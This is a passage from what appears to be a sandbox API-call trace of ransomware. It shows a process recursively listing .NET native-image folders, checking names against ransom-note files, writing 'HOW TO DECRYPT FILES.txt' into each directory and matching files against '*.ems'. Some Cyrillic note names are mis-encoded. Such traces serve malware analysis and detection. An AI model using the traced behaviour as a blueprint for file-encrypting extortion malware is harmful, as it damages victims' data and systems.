ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0112.833] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0112.833] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0112.833] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\*.*") returned="*.*" [0112.833] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\" [0112.833] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\") returned="" [0112.833] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\HOW TO DECRYPT FILES.txt" [0112.833] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.dynamicd#\\bef47cfaf8928e35b99d8deb0eeb6b08\\how to decrypt files.txt")) returned 0xffffffff [0112.833] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.dynamicd#\\bef47cfaf8928e35b99d8deb0eeb6b08\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.835] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.835] CloseHandle (hObject=0x90) returned 1 [0112.835] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\", lpString2="System.Web.DynamicData.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\System.Web.DynamicData.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\System.Web.DynamicData.ni.dll" [0112.835] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\System.Web.DynamicData.ni.dll", pszSpec="*.ems") returned 0 [0112.836] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x248be33d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x248be33d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x248be33d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0xb8000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.836] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.836] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x2493075d, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x2493075d, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="bef47cfaf8928e35b99d8deb0eeb6b08", cAlternateFileName="BEF47C~1")) returned 0 [0112.836] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.836] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Entity", cAlternateFileName="SYSTEM~3.ENT")) returned 1 [0112.836] lstrcmpA (lpString1=".", lpString2="System.Web.Entity") returned -1 [0112.836] lstrcmpA (lpString1="..", lpString2="System.Web.Entity") returned -1 [0112.836] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.836] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web.Entity" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity" [0112.836] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.837] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.837] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.837] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.838] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d3aaf07a1d6356d9edf7c3c9f4b7dd0d", cAlternateFileName="D3AAF0~1")) returned 1 [0112.838] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\*.*") returned="*.*" [0112.838] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\", lpString2="d3aaf07a1d6356d9edf7c3c9f4b7dd0d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d" [0112.838] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.838] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.838] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x253e6a71, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x253e6a71, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x253e6a71, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.838] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.838] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.ni.dll") returned -1 [0112.838] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.ni.dll") returned -1 [0112.838] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.ni.dll") returned -1 [0112.838] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\*.*") returned="*.*" [0112.838] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\" [0112.838] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\") returned="" [0112.838] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\HOW TO DECRYPT FILES.txt" [0112.839] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\how to decrypt files.txt")) returned 0xffffffff [0112.839] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.844] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\", lpString2="System.Web.Entity.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\System.Web.Entity.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\System.Web.Entity.ni.dll" [0112.844] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\System.Web.Entity.ni.dll", pszSpec="*.ems") returned 0 [0112.844] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x253e6a71, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x253e6a71, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x253e6a71, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.845] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.845] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25458e92, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25458e92, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d3aaf07a1d6356d9edf7c3c9f4b7dd0d", cAlternateFileName="D3AAF0~1")) returned 0 [0112.845] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.845] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25abe9be, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25abe9be, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Entity.D#", cAlternateFileName="SYSTEM~1.D#")) returned 1 [0112.845] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.845] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web.Entity.D#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#" [0112.845] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25abe9be, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25abe9be, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.845] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25abe9be, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25abe9be, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.845] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25abe9be, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25abe9be, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="86fd874752b7cca432941e9f482c3590", cAlternateFileName="86FD87~1")) returned 1 [0112.846] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\*.*") returned="*.*" [0112.846] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\", lpString2="86fd874752b7cca432941e9f482c3590" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590" [0112.846] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x25abe9be, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x25abe9be, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.846] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.846] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0112.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0112.846] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.Design.ni.dll") returned -1 [0112.846] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\*.*") returned="*.*" [0112.846] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\" [0112.846] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\") returned="" [0112.846] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\HOW TO DECRYPT FILES.txt" [0112.846] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.entity.d#\\86fd874752b7cca432941e9f482c3590\\how to decrypt files.txt")) returned 0xffffffff [0112.847] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.web.entity.d#\\86fd874752b7cca432941e9f482c3590\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.848] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\", lpString2="System.Web.Entity.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\System.Web.Entity.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\System.Web.Entity.Design.ni.dll" [0112.848] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\System.Web.Entity.Design.ni.dll", pszSpec="*.ems") returned 0 [0112.849] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.849] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.849] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.849] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Web.Extensio#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#" [0112.849] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca49194, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x26a378da, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x26a378da, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.850] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\*.*") returned="*.*" [0112.850] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\", lpString2="47da05ff5ddd7d25ab9df88e6d79bb39" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39" [0112.851] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26a378da, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x26a378da, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x26a378da, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.851] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0112.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0112.851] lstrcmpiA (lpString1="", lpString2="System.Web.Extensions.Design.ni.dll") returned -1 [0112.851] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\*.*") returned="*.*" [0112.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\" [0112.851] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\" | out: 